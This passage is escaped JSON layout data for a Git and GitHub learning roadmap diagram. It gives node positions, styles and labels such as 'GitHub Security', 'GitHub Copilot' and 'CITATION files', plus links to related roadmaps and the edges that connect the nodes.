\"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3402.504649727731\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f2PG4t6iVtfIH8BVe5H7f\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3457.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rqPCHh25xX_ROMr-ULpaw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3457.881300735853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4slyjdk2Eeg5VYY6gCDG6\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3350.504649727731\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3350.504649727731\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iWn3zDMOfLLjSp6f1jQoE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3297.887019533944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Copilot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f2PG4t6iVtfIH8BVe5H7f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3297.887019533944\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 523,\n      \"height\": 122,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 533.8251366454728,\n        \"y\": 3633.6959434496457\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 533.8251366454728,\n        \"y\": 3633.6959434496457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 523,\n        \"height\": 122\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 523,\n        \"height\": 122\n      }\n    },\n    {\n      \"width\": 122,\n      \"height\": 49,\n      \"id\": \"P8nE-yRpa7NmoTENNv-Qz\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 546.9220790169977,\n        \"y\": 3692.6265191129755\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 546.9220790169977,\n        \"y\": 3692.6265191129755\n      },\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 857.3760409943199,\n        \"y\": 3755.6959434496457\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 857.3760409943199,\n        \"y\": 3755.6959434496457\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"width\": 122,\n      \"height\": 49,\n      \"id\": \"N0zxK2dVGTxmMLEsvkRGl\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 673.3251366454728,\n        \"y\": 3692.6265191129755\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 673.3251366454728,\n        \"y\": 3692.6265191129755\n      },\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 122,\n      \"height\": 49,\n      \"id\": \"xU5kwxmH2Ir9e2xKTH82n\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 797.4807890856271,\n        \"y\": 3692.6265191129755\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 797.4807890856271,\n        \"y\": 3692.6265191129755\n      },\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 122,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 923.9807890856271,\n        \"y\": 3692.6265191129755\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Full-stack\",\n        \"href\": \"https://roadmap.sh/full-stack\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 923.9807890856271,\n        \"y\": 3692.6265191129755\n      },\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GFOiV1rK5PlVHk15QZmTd\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 857.3760409943199,\n        \"y\": 3449.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 185,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 185\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.3760409943199,\n        \"y\": 3449.881300735853\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 185\n      }\n    },\n    {\n      \"id\": \"JN1S4v1vCH6o_1FGxLu6i\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 209.37471641744668,\n        \"y\": 88.38682211276446\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"If you are a beginner, we'd recommend you to visit the beginner friendly version.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 209.37471641744668,\n        \"y\": 88.38682211276446\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"MfErpYwkJ0wiWJZEUVfrb\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 223.7266137420417,\n        \"y\": 167.9386373305844\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the Beginner Version\",\n        \"href\": \"/git-github?r=git-github-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#232323\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 223.7266137420417,\n        \"y\": 167.9386373305844\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ddkss13_qDJTquDHbVTVs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1264.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CITATION files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1068.0316934344742,\n        \"y\": 1266.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5Z9o-b3vBA-ITFg86zzYM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5Z9o-b3vBA-ITFg86zzYMx2-HlUUGj3dOZ68t4gIjerXhw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bY6b1GV2XQQ52NOx8gWFj\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhz2-bY6b1GV2XQQ52NOx8gWFjy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"dhIx1GnynvbSUriqYLUt0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhz2-dhIx1GnynvbSUriqYLUt0y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_jSTrYN9G8EsGHkbusKPU\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhz2-_jSTrYN9G8EsGHkbusKPUy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"v7hCNbgPByi3YiLSs46BK\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhz2-v7hCNbgPByi3YiLSs46BKy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HlUUGj3dOZ68t4gIjerXh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"PtU5Qwfzn3N1i3oRlCGoR\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-HlUUGj3dOZ68t4gIjerXhx2-bXfCUG3h1TIFPgD4WUDphw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PtU5Qwfzn3N1i3oRlCGoR\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bXfCUG3h1TIFPgD4WUDph\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-PtU5Qwfzn3N1i3oRlCGoRz2-bXfCUG3h1TIFPgD4WUDphy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bXfCUG3h1TIFPgD4WUDph\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"OegitQ5Ngjvd3ZfMpfrkM\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bXfCUG3h1TIFPgD4WUDphx2-OegitQ5Ngjvd3ZfMpfrkMw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fIfmS6BkkOFWzCB1RqrhK\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NeSvgS2yA5x8qbcJHrV__\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fIfmS6BkkOFWzCB1RqrhKx2-NeSvgS2yA5x8qbcJHrV__w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NeSvgS2yA5x8qbcJHrV__\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"i7fIIHcBEk473te8bniJ5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NeSvgS2yA5x8qbcJHrV__x2-i7fIIHcBEk473te8bniJ5w2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GS3f1FKFVKT0-GJQrgCm8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KbVvFVQ4k77R2_ddsc7WT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GS3f1FKFVKT0-GJQrgCm8z2-KbVvFVQ4k77R2_ddsc7WTy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"c_FO6xMixrrMo6iisfsvl\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HEqBbw_A4ZbJI5zEy8ViN\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-c_FO6xMixrrMo6iisfsvlz2-HEqBbw_A4ZbJI5zEy8ViNy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bXfCUG3h1TIFPgD4WUDph\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fIfmS6BkkOFWzCB1RqrhK\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-bXfCUG3h1TIFPgD4WUDphy2-fIfmS6BkkOFWzCB1RqrhKw2\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NeSvgS2yA5x8qbcJHrV__\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aWx9WHUrgofcTr8B-fQYe\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-NeSvgS2yA5x8qbcJHrV__y2-zLSGqFLjw2kodmMwurzrYz1\",\n      \"selectable\": true,\n      \"focusable\": true\n    